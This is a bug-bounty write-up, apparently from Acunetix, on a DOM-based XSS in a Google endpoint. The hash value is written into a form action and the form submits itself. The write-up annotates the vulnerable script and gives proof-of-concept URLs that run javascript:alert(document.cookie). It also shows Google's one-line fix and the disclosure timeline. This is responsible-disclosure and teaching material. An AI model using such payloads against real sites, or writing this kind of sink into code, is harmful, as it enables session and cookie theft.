You have to be a very lazy hacker not to try to find issues in Google. Link and I are not lazy but we may be a bit luckier than most. And we use good tools, which helps. Some time ago, we found an XSS in Google Cloud with the help of the Acunetix vulnerability scanner. Recently we found another XSS vulnerability. Here is how it happened.
Step 1. A Report from the Vulnerability Scanner
As part of our research, we regularly scan various Google services using different tools, including Acunetix. We simply have a long list of targets and go through each of them. One of such target scans in December 2019 resulted in the scanner reporting an XSS with the following payload:
https://google.ws/ajax/pi/fbfr?wvstest=javascript:domxssExecutionSink(1,%22%27%5C%22%3E%3Cxsstag%3E()locxss%22)
Such reports sometimes turn out to be false positives and we don’t react to them every time but this was Google. So it was very much worth having a deeper look.
Step 2. Analyzing the HTTP Response
The first step was to examine the HTTP response in detail:
HTTP/1.1 200 OK
...
<!doctype html><div style="display:none"> <form method="post"> </form> <script nonce="+ao+4Egc+7YExl3qyyWMJg==">(function(){var a=window.document.forms[0],b=location.hash.substr(1);b||window.close();var c=b.split("&"),d=decodeURIComponent(c[0]);a.action=d;for(var e=1;e<c.length;e++){var f=c[e].split("="),g=document.createElement("input");g.type="hidden";g.name=f[0];g.value=decodeURIComponent(f[1]);a.appendChild(g)}a.submit();}).call(this);</script> </div>
This response seemed to contain an empty form and a bit of JavaScript code. To understand it better, we made it more readable:
(function() {
var a = window.document.forms[0],
b = location.hash.substr(1);
b || window.close();
var c = b.split("&"),
d = decodeURIComponent(c[0]);
a.action = d;
for (var e = 1; e < c.length; e++) {
var f = c[e].split("="),
g = document.createElement("input");
g.type = "hidden";
g.name = f[0];
g.value = decodeURIComponent(f[1]);
a.appendChild(g)
}
a.submit();
}).call(this);
Next, we tried to understand every step of the above JavaScript code. See the comments within the code to understand how it works.
(function() {
// Function that is going to be auto-executed
}).call(this);
(function() {
// The variable “a” points to a form that is empty right now
var a = window.document.forms[0],
// The variable b is a location hash without the # character
b = location.hash.substr(1);
// If there is no b (no hash in the location URI), try to self-close
b || window.close();
// Split the location hash using the & character
var c = b.split("&"),
// And decode the first (zero) element
d = decodeURIComponent(c[0]);
// The hash value becomes the action of the form
a.action = d;
// The below content is not important in the context of the issue
for (var e = 1; e < c.length; e++) {
var f = c[e].split("="),
g = document.createElement("input");
g.type = "hidden";
g.name = f[0];
g.value = decodeURIComponent(f[1]);
a.appendChild(g)
}
// The form is auto-submitted
a.submit();
}).call(this);
Step 3. The Proper Payload
Once we understood how the function works, all we needed is a proper payload. We came up with the following one:
https://google.ws/ajax/pi/fbfr#javascript:alert(document.cookie)
We also decided to see if this vulnerability affects other Google domains:
https://google.com/ajax/pi/fbfr#javascript:alert(document.cookie)
The Fix
Google did not have to work hard on fixing the issue. Only one line of code had to be changed to eliminate the vulnerability:
(function() {
var a = window.document.forms[0],
b = location.hash.substr(1);
b || window.close();
var c = b.split("&"),
d = decodeURIComponent(c[0]);
// Only the below line needed to be changed
// to check if the location hash begins with http:
0 != d.indexOf("http") && window.close();
a.action = d;
for (var e = 1; e < c.length; e++) {
var f = c[e].split("="),
g = document.createElement("input");
g.type = "hidden";
g.name = f[0];
g.value = decodeURIComponent(f[1]);
a.appendChild(g)
}
a.submit();
}).call(this);
The Timeline
- Vulnerability reported: Dec 27, 2019, 01:01 AM
- Vulnerability triaged: Dec 27, 2019, 08:32 PM
- Issue fixed by Google: Jan 8, 2020
- Bounty paid: Jan 8, 2020
- Bounty amount: USD 5000
Get the latest content on web security
in your inbox each week.